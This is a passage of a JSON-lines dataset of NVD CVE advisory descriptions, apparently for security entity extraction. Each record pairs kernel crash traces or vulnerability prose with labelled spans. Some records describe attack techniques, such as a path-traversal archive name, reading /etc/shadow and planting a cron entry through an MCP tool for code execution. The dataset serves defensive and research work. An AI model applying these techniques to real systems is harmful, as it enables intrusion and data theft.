__pfx_amdgpu_device_fini_sw+0x10/0x10 [amdgpu]\n[  +0.000662]  ? srso_return_thunk+0x5/0x5f\n[  +0.000014]  ? __kasan_check_write+0x14/0x30\n[  +0.000013]  ? srso_return_thunk+0x5/0x5f\n[  +0.000013]  ? mutex_unlock+0x80/0xe0\n[  +0.000016]  amdgpu_driver_release_kms+0x16/0x80 [amdgpu]\n[  +0.000663]  drm_minor_release+0xc9/0x140 [drm]\n[  +0.000081]  drm_release+0x1fd/0x390 [drm]\n[  +0.000082]  __fput+0x36c/0xad0\n[  +0.000018]  __fput_sync+0x3c/0x50\n[  +0.000014]  __x64_sys_close+0x7d/0xe0\n[  +0.000014]  x64_sys_call+0x1bc6/0x2680\n[  +0.000014]  do_syscall_64+0x70/0x130\n[  +0.000014]  ? srso_return_thunk+0x5/0x5f\n[  +0.000014]  ? irqentry_exit_to_user_mode+0x60/0x190\n[  +0.000015]  ? srso_return_thunk+0x5/0x5f\n[  +0.000014]  ? irqentry_exit+0x43/0x50\n[  +0.000012]  ? srso_return_thunk+0x5/0x5f\n[  +0.000013]  ? exc_page_fault+0x7c/0x110\n[  +0.000015]  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[  +0.000014] RIP: 0033:0x7ffff7b14f67\n[  +0.000013] Code: ff e8 0d 16 02 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 03 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 41 c3 48 83 ec 18 89 7c 24 0c e8 73 ba f7 ff\n[  +0.000026] RSP: 002b:00007fffffffe378 EFLAGS: 00000246 ORIG_RAX: 0000000000000003\n[  +0.000019] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ffff7b14f67\n[  +0.000014] RDX: 0000000000000000 RSI: 00007ffff7f6f47a RDI: 0000000000000003\n[  +0.000014] RBP: 00007fffffffe3a0 R08: 0000555555569890 R09: 0000000000000000\n[  +0.000014] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fffffffe5c8\n[  +0.000013] R13: 00005555555552a9 R14: 0000555555557d48 R15: 00007ffff7ffd040\n[  +0.000020]  </TASK>\n\n[  +0.000016] Allocated by task 383 on cpu 7 at 26.880319s:\n[  +0.000014]  kasan_save_stack+0x28/0x60\n[  +0.000008]  kasan_save_track+0x18/0x70\n[  +0.000007]  kasan_save_alloc_info+0x38/0x60\n[  +0.000007]  __kasan_kmalloc+0xc1/0xd0\n[  +0.000007]  kmalloc_trace_noprof+0x180/0x380\n[  +0.000007]  drm_sched_init+0x411/0xec0 [gpu_sched]\n[  +0.000012]  amdgpu_device_init+0x695f/0xa610 [amdgpu]\n[  +0.000658]  amdgpu_driver_load_kms+0x1a/0x120 [amdgpu]\n[  +0.000662]  amdgpu_pci_p\n---truncated---", "spans": {"FILEPATH: /03/2020": [[461, 469]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: ASUS": [[391, 395]], "VULNERABILITY: use-after-free": [[139, 153]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56551"}}
{"text": "Cacti is an open source operational monitoring and fault management framework. In Cacti 1.2.24, users with console access can be redirected to an arbitrary website after a change password performed via a specifically crafted URL. The `auth_changepassword.php` file accepts `ref` as a URL parameter and reflects it in the form used to perform the change password. It's value is used to perform a redirect via `header` PHP function. A user can be tricked in performing the change password operation, e.g., via a phishing message, and then interacting with the malicious website where the redirection has been performed, e.g., downloading malwares, providing credentials, etc. This issue has been addressed in version 1.2.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"FILEPATH: auth_changepassword.php": [[235, 258]], "SYSTEM: PHP": [[417, 420]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-39364"}}
{"text": "Langfuse is an open source large language model engineering platform. In versions 3.146.0 and below, the /api/public/slack/install endpoint initiates Slack OAuth using a projectId provided by the client without authentication or authorization. The projectId is preserved throughout the OAuth flow, and the callback stores installations based on this untrusted metadata. This allows an attacker to bind their Slack workspace to any project and potentially receive changes to prompts stored in Langfuse Prompt Management. An attacker can replace existing Prompt Slack Automation integrations or pre-register a malicious one, though the latter requires an authenticated user to unknowingly configure it despite visible workspace and channel indicators in the UI. This issue has been fixed in version 3.147.0.", "spans": {"FILEPATH: /api/public/slack/install": [[105, 130]], "ORGANIZATION: Slack": [[150, 155], [408, 413], [560, 565]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-24055"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: do not ignore genmask when looking up chain by id\n\nWhen adding a rule to a chain referring to its ID, if that chain had been\ndeleted on the same batch, the rule might end up referring to a deleted\nchain.\n\nThis will lead to a WARNING like following:\n\n[   33.098431] ------------[ cut here ]------------\n[   33.098678] WARNING: CPU: 5 PID: 69 at net/netfilter/nf_tables_api.c:2037 nf_tables_chain_destroy+0x23d/0x260\n[   33.099217] Modules linked in:\n[   33.099388] CPU: 5 PID: 69 Comm: kworker/5:1 Not tainted 6.4.0+ #409\n[   33.099726] Workqueue: events nf_tables_trans_destroy_work\n[   33.100018] RIP: 0010:nf_tables_chain_destroy+0x23d/0x260\n[   33.100306] Code: 8b 7c 24 68 e8 64 9c ed fe 4c 89 e7 e8 5c 9c ed fe 48 83 c4 08 5b 41 5c 41 5d 41 5e 41 5f 5d 31 c0 89 c6 89 c7 c3 cc cc cc cc <0f> 0b 48 83 c4 08 5b 41 5c 41 5d 41 5e 41 5f 5d 31 c0 89 c6 89 c7\n[   33.101271] RSP: 0018:ffffc900004ffc48 EFLAGS: 00010202\n[   33.101546] RAX: 0000000000000001 RBX: ffff888006fc0a28 RCX: 0000000000000000\n[   33.101920] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000\n[   33.102649] RBP: ffffc900004ffc78 R08: 0000000000000000 R09: 0000000000000000\n[   33.103018] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8880135ef500\n[   33.103385] R13: 0000000000000000 R14: dead000000000122 R15: ffff888006fc0a10\n[   33.103762] FS:  0000000000000000(0000) GS:ffff888024c80000(0000) knlGS:0000000000000000\n[   33.104184] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[   33.104493] CR2: 00007fe863b56a50 CR3: 00000000124b0001 CR4: 0000000000770ee0\n[   33.104872] PKRU: 55555554\n[   33.104999] Call Trace:\n[   33.105113]  <TASK>\n[   33.105214]  ? show_regs+0x72/0x90\n[   33.105371]  ? __warn+0xa5/0x210\n[   33.105520]  ? nf_tables_chain_destroy+0x23d/0x260\n[   33.105732]  ? report_bug+0x1f2/0x200\n[   33.105902]  ? handle_bug+0x46/0x90\n[   33.106546]  ? exc_invalid_op+0x19/0x50\n[   33.106762]  ? asm_exc_invalid_op+0x1b/0x20\n[   33.106995]  ? nf_tables_chain_destroy+0x23d/0x260\n[   33.107249]  ? nf_tables_chain_destroy+0x30/0x260\n[   33.107506]  nf_tables_trans_destroy_work+0x669/0x680\n[   33.107782]  ? mark_held_locks+0x28/0xa0\n[   33.107996]  ? __pfx_nf_tables_trans_destroy_work+0x10/0x10\n[   33.108294]  ? _raw_spin_unlock_irq+0x28/0x70\n[   33.108538]  process_one_work+0x68c/0xb70\n[   33.108755]  ? lock_acquire+0x17f/0x420\n[   33.108977]  ? __pfx_process_one_work+0x10/0x10\n[   33.109218]  ? do_raw_spin_lock+0x128/0x1d0\n[   33.109435]  ? _raw_spin_lock_irq+0x71/0x80\n[   33.109634]  worker_thread+0x2bd/0x700\n[   33.109817]  ? __pfx_worker_thread+0x10/0x10\n[   33.110254]  kthread+0x18b/0x1d0\n[   33.110410]  ? __pfx_kthread+0x10/0x10\n[   33.110581]  ret_from_fork+0x29/0x50\n[   33.110757]  </TASK>\n[   33.110866] irq event stamp: 1651\n[   33.111017] hardirqs last  enabled at (1659): [<ffffffffa206a209>] __up_console_sem+0x79/0xa0\n[   33.111379] hardirqs last disabled at (1666): [<ffffffffa206a1ee>] __up_console_sem+0x5e/0xa0\n[   33.111740] softirqs last  enabled at (1616): [<ffffffffa1f5d40e>] __irq_exit_rcu+0x9e/0xe0\n[   33.112094] softirqs last disabled at (1367): [<ffffffffa1f5d40e>] __irq_exit_rcu+0x9e/0xe0\n[   33.112453] ---[ end trace 0000000000000000 ]---\n\nThis is due to the nft_chain_lookup_byid ignoring the genmask. After this\nchange, adding the new rule will fail as it will not find the chain.", "spans": {"FILEPATH: /netfilter/nf_tables_api.c": [[438, 464]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53492"}}
{"text": "KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.5.3 and 1.6.1, a vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the virt-launcher pod's file system. Since libvirt can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read. Although a security mechanism exists where VMs are executed as an unprivileged user with UID 107 inside the virt-launcher container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability. The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID 107 prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the virt-launcher pod's file system or on a mounted PVC from within the guest VM. This vulnerability is fixed in 1.5.3 and 1.6.1.", "spans": {"SYSTEM: Kubernetes": [[52, 62]], "VULNERABILITY: symlink": [[235, 242]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-64433"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: HCI: Fix global-out-of-bounds\n\nTo loop a variable-length array, hci_init_stage_sync(stage) considers\nthat stage[i] is valid as long as stage[i-1].func is valid.\nThus, the last element of stage[].func should be intentionally invalid\nas hci_init0[], le_init2[], and others did.\nHowever, amp_init1[] and amp_init2[] have no invalid element, letting\nhci_init_stage_sync() keep accessing amp_init1[] over its valid range.\nThis patch fixes this by adding {} in the last of amp_init1[] and\namp_init2[].\n\n==================================================================\nBUG: KASAN: global-out-of-bounds in hci_dev_open_sync (\n/v6.2-bzimage/net/bluetooth/hci_sync.c:3154\n/v6.2-bzimage/net/bluetooth/hci_sync.c:3343\n/v6.2-bzimage/net/bluetooth/hci_sync.c:4418\n/v6.2-bzimage/net/bluetooth/hci_sync.c:4609\n/v6.2-bzimage/net/bluetooth/hci_sync.c:4689)\nRead of size 8 at addr ffffffffaed1ab70 by task kworker/u5:0/1032\nCPU: 0 PID: 1032 Comm: kworker/u5:0 Not tainted 6.2.0 #3\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04\nWorkqueue: hci1 hci_power_on\nCall Trace:\n <TASK>\ndump_stack_lvl (/v6.2-bzimage/lib/dump_stack.c:107 (discriminator 1))\nprint_report (/v6.2-bzimage/mm/kasan/report.c:307\n  /v6.2-bzimage/mm/kasan/report.c:417)\n? hci_dev_open_sync (/v6.2-bzimage/net/bluetooth/hci_sync.c:3154\n  /v6.2-bzimage/net/bluetooth/hci_sync.c:3343\n  /v6.2-bzimage/net/bluetooth/hci_sync.c:4418\n  /v6.2-bzimage/net/bluetooth/hci_sync.c:4609\n  /v6.2-bzimage/net/bluetooth/hci_sync.c:4689)\nkasan_report (/v6.2-bzimage/mm/kasan/report.c:184\n  /v6.2-bzimage/mm/kasan/report.c:519)\n? hci_dev_open_sync (/v6.2-bzimage/net/bluetooth/hci_sync.c:3154\n  /v6.2-bzimage/net/bluetooth/hci_sync.c:3343\n  /v6.2-bzimage/net/bluetooth/hci_sync.c:4418\n  /v6.2-bzimage/net/bluetooth/hci_sync.c:4609\n  /v6.2-bzimage/net/bluetooth/hci_sync.c:4689)\nhci_dev_open_sync (/v6.2-bzimage/net/bluetooth/hci_sync.c:3154\n  /v6.2-bzimage/net/bluetooth/hci_sync.c:3343\n  /v6.2-bzimage/net/bluetooth/hci_sync.c:4418\n  /v6.2-bzimage/net/bluetooth/hci_sync.c:4609\n  /v6.2-bzimage/net/bluetooth/hci_sync.c:4689)\n? __pfx_hci_dev_open_sync (/v6.2-bzimage/net/bluetooth/hci_sync.c:4635)\n? mutex_lock (/v6.2-bzimage/./arch/x86/include/asm/atomic64_64.h:190\n  /v6.2-bzimage/./include/linux/atomic/atomic-long.h:443\n  /v6.2-bzimage/./include/linux/atomic/atomic-instrumented.h:1781\n  /v6.2-bzimage/kernel/locking/mutex.c:171\n  /v6.2-bzimage/kernel/locking/mutex.c:285)\n? __pfx_mutex_lock (/v6.2-bzimage/kernel/locking/mutex.c:282)\nhci_power_on (/v6.2-bzimage/net/bluetooth/hci_core.c:485\n  /v6.2-bzimage/net/bluetooth/hci_core.c:984)\n? __pfx_hci_power_on (/v6.2-bzimage/net/bluetooth/hci_core.c:969)\n? read_word_at_a_time (/v6.2-bzimage/./include/asm-generic/rwonce.h:85)\n? strscpy (/v6.2-bzimage/./arch/x86/include/asm/word-at-a-time.h:62\n  /v6.2-bzimage/lib/string.c:161)\nprocess_one_work (/v6.2-bzimage/kernel/workqueue.c:2294)\nworker_thread (/v6.2-bzimage/./include/linux/list.h:292\n  /v6.2-bzimage/kernel/workqueue.c:2437)\n? __pfx_worker_thread (/v6.2-bzimage/kernel/workqueue.c:2379)\nkthread (/v6.2-bzimage/kernel/kthread.c:376)\n? __pfx_kthread (/v6.2-bzimage/kernel/kthread.c:331)\nret_from_fork (/v6.2-bzimage/arch/x86/entry/entry_64.S:314)\n </TASK>\nThe buggy address belongs to the variable:\namp_init1+0x30/0x60\nThe buggy address belongs to the physical page:\npage:000000003a157ec6 refcount:1 mapcount:0 mapping:0000000000000000 ia\nflags: 0x200000000001000(reserved|node=0|zone=2)\nraw: 0200000000001000 ffffea0005054688 ffffea0005054688 000000000000000\nraw: 0000000000000000 0000000000000000 00000001ffffffff 000000000000000\npage dumped because: kasan: bad access detected\nMemory state around the buggy address:\n ffffffffaed1aa00: f9 f9 f9 f9 00 00 00 00 f9 f9 f9 f9 00 00 00 00\n ffffffffaed1aa80: 00 00 00 00 f9 f9 f9 f9 00 00 00 00 00 00 00 00\n>ffffffffaed1ab00: 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 f9 f9\n                  \n---truncated---", "spans": {"FILEPATH: /v6.2-bzimage/net/bluetooth/hci_sync.c": [[700, 738], [744, 782], [788, 826], [832, 870], [876, 914], [1345, 1383], [1391, 1429], [1437, 1475], [1483, 1521], [1529, 1567], [1684, 1722], [1730, 1768], [1776, 1814], [1822, 1860], [1868, 1906], [1932, 1970], [1978, 2016], [2024, 2062], [2070, 2108], [2116, 2154], [2188, 2226]], "FILEPATH: /v6.2-bzimage/lib/dump_stack.c": [[1181, 1211]], "FILEPATH: /v6.2-bzimage/mm/kasan/report.c": [[1249, 1280], [1287, 1318], [1588, 1619], [1626, 1657]], "FILEPATH: /v6.2-bzimage/./arch/x86/include/asm/atomic64_64.h": [[2247, 2297]], "FILEPATH: /v6.2-bzimage/./include/linux/atomic/atomic-long.h": [[2304, 2354]], "FILEPATH: /v6.2-bzimage/./include/linux/atomic/atomic-instrumented.h": [[2361, 2419]], "FILEPATH: /v6.2-bzimage/kernel/locking/mutex.c": [[2427, 2463], [2470, 2506], [2532, 2568]], "FILEPATH: /v6.2-bzimage/net/bluetooth/hci_core.c": [[2588, 2626], [2633, 2671], [2699, 2737]], "FILEPATH: /v6.2-bzimage/./include/asm-generic/rwonce.h": [[2766, 2810]], "FILEPATH: /v6.2-bzimage/./arch/x86/include/asm/word-at-a-time.h": [[2826, 2879]], "FILEPATH: /v6.2-bzimage/lib/string.c": [[2885, 2911]], "FILEPATH: /v6.2-bzimage/kernel/workqueue.c": [[2935, 2967], [3032, 3064], [3094, 3126]], "FILEPATH: /v6.2-bzimage/./include/linux/list.h": [[2989, 3025]], "FILEPATH: /v6.2-bzimage/kernel/kthread.c": [[3142, 3172], [3195, 3225]], "FILEPATH: /v6.2-bzimage/arch/x86/entry/entry_64.S": [[3246, 3285]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1059, 1063]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53057"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: set ATTR_CTIME flags when setting mtime\n\nDavid reported that the new warning from setattr_copy_mgtime is coming\nlike the following.\n\n[  113.215316] ------------[ cut here ]------------\n[  113.215974] WARNING: CPU: 1 PID: 31 at fs/attr.c:300 setattr_copy+0x1ee/0x200\n[  113.219192] CPU: 1 UID: 0 PID: 31 Comm: kworker/1:1 Not tainted 6.13.0-rc1+ #234\n[  113.220127] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-3-gd478f380-rebuilt.opensuse.org 04/01/2014\n[  113.221530] Workqueue: ksmbd-io handle_ksmbd_work [ksmbd]\n[  113.222220] RIP: 0010:setattr_copy+0x1ee/0x200\n[  113.222833] Code: 24 28 49 8b 44 24 30 48 89 53 58 89 43 6c 5b 41 5c 41 5d 41 5e 41 5f 5d c3 cc cc cc cc 48 89 df e8 77 d6 ff ff e9 cd fe ff ff <0f> 0b e9 be fe ff ff 66 0\n[  113.225110] RSP: 0018:ffffaf218010fb68 EFLAGS: 00010202\n[  113.225765] RAX: 0000000000000120 RBX: ffffa446815f8568 RCX: 0000000000000003\n[  113.226667] RDX: ffffaf218010fd38 RSI: ffffa446815f8568 RDI: ffffffff94eb03a0\n[  113.227531] RBP: ffffaf218010fb90 R08: 0000001a251e217d R09: 00000000675259fa\n[  113.228426] R10: 0000000002ba8a6d R11: ffffa4468196c7a8 R12: ffffaf218010fd38\n[  113.229304] R13: 0000000000000120 R14: ffffffff94eb03a0 R15: 0000000000000000\n[  113.230210] FS:  0000000000000000(0000) GS:ffffa44739d00000(0000) knlGS:0000000000000000\n[  113.231215] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  113.232055] CR2: 00007efe0053d27e CR3: 000000000331a000 CR4: 00000000000006b0\n[  113.232926] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[  113.233812] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[  113.234797] Call Trace:\n[  113.235116]  <TASK>\n[  113.235393]  ? __warn+0x73/0xd0\n[  113.235802]  ? setattr_copy+0x1ee/0x200\n[  113.236299]  ? report_bug+0xf3/0x1e0\n[  113.236757]  ? handle_bug+0x4d/0x90\n[  113.237202]  ? exc_invalid_op+0x13/0x60\n[  113.237689]  ? asm_exc_invalid_op+0x16/0x20\n[  113.238185]  ? setattr_copy+0x1ee/0x200\n[  113.238692]  btrfs_setattr+0x80/0x820 [btrfs]\n[  113.239285]  ? get_stack_info_noinstr+0x12/0xf0\n[  113.239857]  ? __module_address+0x22/0xa0\n[  113.240368]  ? handle_ksmbd_work+0x6e/0x460 [ksmbd]\n[  113.240993]  ? __module_text_address+0x9/0x50\n[  113.241545]  ? __module_address+0x22/0xa0\n[  113.242033]  ? unwind_next_frame+0x10e/0x920\n[  113.242600]  ? __pfx_stack_trace_consume_entry+0x10/0x10\n[  113.243268]  notify_change+0x2c2/0x4e0\n[  113.243746]  ? stack_depot_save_flags+0x27/0x730\n[  113.244339]  ? set_file_basic_info+0x130/0x2b0 [ksmbd]\n[  113.244993]  set_file_basic_info+0x130/0x2b0 [ksmbd]\n[  113.245613]  ? process_scheduled_works+0xbe/0x310\n[  113.246181]  ? worker_thread+0x100/0x240\n[  113.246696]  ? kthread+0xc8/0x100\n[  113.247126]  ? ret_from_fork+0x2b/0x40\n[  113.247606]  ? ret_from_fork_asm+0x1a/0x30\n[  113.248132]  smb2_set_info+0x63f/0xa70 [ksmbd]\n\nksmbd is trying to set the atime and mtime via notify_change without also\nsetting the ctime. so This patch add ATTR_CTIME flags when setting mtime\nto avoid a warning.", "spans": {"DOMAIN: rel-1.16.2-3-gd478f380-rebuilt.opensuse.org": [[501, 544]], "FILEPATH: /01/2014": [[547, 555]], "FILEPATH: attr.c": [[306, 312]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[456, 460]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-57895"}}
{"text": "Vulnerability in the Oracle Financial Services Analytical Applications Infrastructure product of Oracle Financial Services Applications (component: Infrastructure).  Supported versions that are affected are 8.0.7, 8.0.8, 8.0.9, 8.1.0, 8.1.1 and  8.1.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Analytical Applications Infrastructure.  While the vulnerability is in Oracle Financial Services Analytical Applications Infrastructure, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle Financial Services Analytical Applications Infrastructure accessible data as well as  unauthorized read access to a subset of Oracle Financial Services Analytical Applications Infrastructure accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Financial Services Analytical Applications Infrastructure. CVSS 3.1 Base Score 7.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [97, 103], [360, 366], [457, 463], [705, 711], [838, 844], [998, 1004]], "VULNERABILITY: denial of service": [[963, 980]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-21901"}}
{"text": "Istio is an open platform to connect, manage, and secure microservices. In versions 1.12.0 and 1.12.1 Istio is vulnerable to a privilege escalation attack. Users who have `CREATE` permission for `gateways.gateway.networking.k8s.io` objects can escalate this privilege to create other resources that they may not have access to, such as `Pod`. This vulnerability impacts only an Alpha level feature, the Kubernetes Gateway API. This is not the same as the Istio Gateway type (gateways.networking.istio.io), which is not vulnerable. Users are advised to upgrade to resolve this issue. Users unable to upgrade should implement any of the following which will prevent this vulnerability: Remove the gateways.gateway.networking.k8s.io CustomResourceDefinition, set PILOT_ENABLE_GATEWAY_API_DEPLOYMENT_CONTROLLER=true environment variable in Istiod, or remove CREATE permissions for gateways.gateway.networking.k8s.io objects from untrusted users.", "spans": {"DOMAIN: gateways.gateway.networking.k8s.io": [[196, 230], [695, 729], [877, 911]], "DOMAIN: gateways.networking.istio.io": [[475, 503]], "SYSTEM: Kubernetes": [[403, 413]], "VULNERABILITY: privilege escalation": [[127, 147]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-21701"}}
{"text": "The CGI script <redacted>.sh can be used to download any file on the filesystem.\n\nThis issue affects Iocharger firmware for AC model chargers beforeversion 24120701.\n\nLikelihood: High, but credentials required.\n\nImpact: Critical – The script can be used to download any file on the filesystem, including sensitive files such as /etc/shadow, the CGI script source code or binaries and configuration files.\n\nCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/S:P/AU:Y\nCVSS clarification. The attack can be executed over any network connection the station is listening to and serves the web interface (AV:N), and there are no additional security measure sin place that need to be circumvented (AC:L), the attack does not rely on preconditions (AT:N). The attack does require authentication, but the level of authentication is irrelevant (PR:L), it does not require user interaction (UI:N). The confidentiality of all files of the devicd can be compromised (VC:H/VI:N/VA:N).  There is no impact on subsequent systems. (SC:N/SI:N/SA:N). While this device is an EV charger handing significant amounts of power, this attack in isolation does not have a safety impact. The attack can be automated (AU:Y).", "spans": {"FILEPATH: /etc/shadow": [[328, 339]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43660"}}
{"text": "A vulnerability has been identified in Desigo PXM30-1 (All versions < V02.20.126.11-41), Desigo PXM30.E (All versions < V02.20.126.11-41), Desigo PXM40-1 (All versions < V02.20.126.11-41), Desigo PXM40.E (All versions < V02.20.126.11-41), Desigo PXM50-1 (All versions < V02.20.126.11-41), Desigo PXM50.E (All versions < V02.20.126.11-41), PXG3.W100-1 (All versions < V02.20.126.11-37), PXG3.W100-2 (All versions < V02.20.126.11-41), PXG3.W200-1 (All versions < V02.20.126.11-37), PXG3.W200-2 (All versions < V02.20.126.11-41). A Cross-Site Request Forgery exists in endpoints of the “Operation” web application that interpret and execute Axon language queries, due to the missing validation of anti-CSRF tokens or other origin checks. By convincing a victim to click on a malicious link or visit a specifically crafted webpage while logged-in to the device web application, a remote unauthenticated attacker can execute arbitrary Axon queries against the device.", "spans": {"VULNERABILITY: Cross-Site Request Forgery": [[529, 555]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-40179"}}
{"text": "Reposilite is an open source, lightweight and easy-to-use repository manager for Maven based artifacts in JVM ecosystem. Reposilite provides support for JavaDocs files, which are archives that contain documentation for artifacts. Specifically, JavadocEndpoints.kt controller allows to expand the javadoc archive into the server's file system and return its content. The problem is in the way how the archives are expanded, specifically how the new filename is created. The `file.name` taken from the archive can contain path traversal characters, such as '/../../../anything.txt', so the resulting extraction path can be outside the target directory. If the archive is taken from an untrusted source, such as Maven Central or JitPack for example, an attacker can craft a special archive to overwrite any local file on Reposilite instance. This could lead to remote code execution, for example by placing a new plugin into the '$workspace$/plugins' directory. Alternatively, an attacker can overwrite the content of any other package. Note that the attacker can use its own malicious package from Maven Central to overwrite any other package on Reposilite. Reposilite has addressed this issue in version 3.5.12. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue was discovered and reported by the GitHub Security lab and is also tracked as GHSL-2024-073.", "spans": {"FILEPATH: /../../../anything.txt": [[556, 578]], "ORGANIZATION: GitHub": [[1342, 1348]], "VULNERABILITY: remote code execution": [[858, 879]], "VULNERABILITY: path traversal": [[520, 534]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36116"}}
{"text": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, the `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required). Version 0.17.0 fixes the issue.", "spans": {"FILEPATH: /etc/cron.d": [[667, 678]], "ORGANIZATION: Atlassian": [[4, 13], [59, 68]], "VULNERABILITY: code execution": [[607, 621], [690, 704]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27825"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: compat: Do not treat syscall number as ESR_ELx for a bad syscall\n\nIf a compat process tries to execute an unknown system call above the\n__ARM_NR_COMPAT_END number, the kernel sends a SIGILL signal to the\noffending process. Information about the error is printed to dmesg in\ncompat_arm_syscall() -> arm64_notify_die() -> arm64_force_sig_fault() ->\narm64_show_signal().\n\narm64_show_signal() interprets a non-zero value for\ncurrent->thread.fault_code as an exception syndrome and displays the\nmessage associated with the ESR_ELx.EC field (bits 31:26).\ncurrent->thread.fault_code is set in compat_arm_syscall() ->\narm64_notify_die() with the bad syscall number instead of a valid ESR_ELx\nvalue. This means that the ESR_ELx.EC field has the value that the user set\nfor the syscall number and the kernel can end up printing bogus exception\nmessages*. For example, for the syscall number 0x68000000, which evaluates\nto ESR_ELx.EC value of 0x1A (ESR_ELx_EC_FPAC) the kernel prints this error:\n\n[   18.349161] syscall[300]: unhandled exception: ERET/ERETAA/ERETAB, ESR 0x68000000, Oops - bad compat syscall(2) in syscall[10000+50000]\n[   18.350639] CPU: 2 PID: 300 Comm: syscall Not tainted 5.18.0-rc1 #79\n[   18.351249] Hardware name: Pine64 RockPro64 v2.0 (DT)\n[..]\n\nwhich is misleading, as the bad compat syscall has nothing to do with\npointer authentication.\n\nStop arm64_show_signal() from printing exception syndrome information by\nhaving compat_arm_syscall() set the ESR_ELx value to 0, as it has no\nmeaning for an invalid system call number. The example above now becomes:\n\n[   19.935275] syscall[301]: unhandled exception: Oops - bad compat syscall(2) in syscall[10000+50000]\n[   19.936124] CPU: 1 PID: 301 Comm: syscall Not tainted 5.18.0-rc1-00005-g7e08006d4102 #80\n[   19.936894] Hardware name: Pine64 RockPro64 v2.0 (DT)\n[..]\n\nwhich although shows less information because the syscall number,\nwrongfully advertised as the ESR value, is missing, it is better than\nshowing plainly wrong information. The syscall number can be easily\nobtained with strace.\n\n*A 32-bit value above or equal to 0x8000_0000 is interpreted as a negative\ninteger in compat_arm_syscal() and the condition scno < __ARM_NR_COMPAT_END\nevaluates to true; the syscall will exit to userspace in this case with the\nENOSYS error code instead of arm64_notify_die() being called.", "spans": {"FILEPATH: /ERETAA/ERETAB": [[1116, 1130]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49520"}}
{"text": "A vulnerability has been identified in RUGGEDCOM ROX MX5000 (All versions < V2.16.0), RUGGEDCOM ROX MX5000RE (All versions < V2.16.0), RUGGEDCOM ROX RX1400 (All versions < V2.16.0), RUGGEDCOM ROX RX1500 (All versions < V2.16.0), RUGGEDCOM ROX RX1501 (All versions < V2.16.0), RUGGEDCOM ROX RX1510 (All versions < V2.16.0), RUGGEDCOM ROX RX1511 (All versions < V2.16.0), RUGGEDCOM ROX RX1512 (All versions < V2.16.0), RUGGEDCOM ROX RX1524 (All versions < V2.16.0), RUGGEDCOM ROX RX1536 (All versions < V2.16.0), RUGGEDCOM ROX RX5000 (All versions < V2.16.0). A reflected cross-site scripting (XSS) vulnerability exists in the web interface of the affected application that could allow an attacker to execute malicious javascript code by tricking users into accessing a malicious link. The value is reflected in the response without sanitization while throwing an\r\n“invalid params element name” error on the get_elements parameters.", "spans": {"VULNERABILITY: cross-site scripting": [[570, 590]]}, 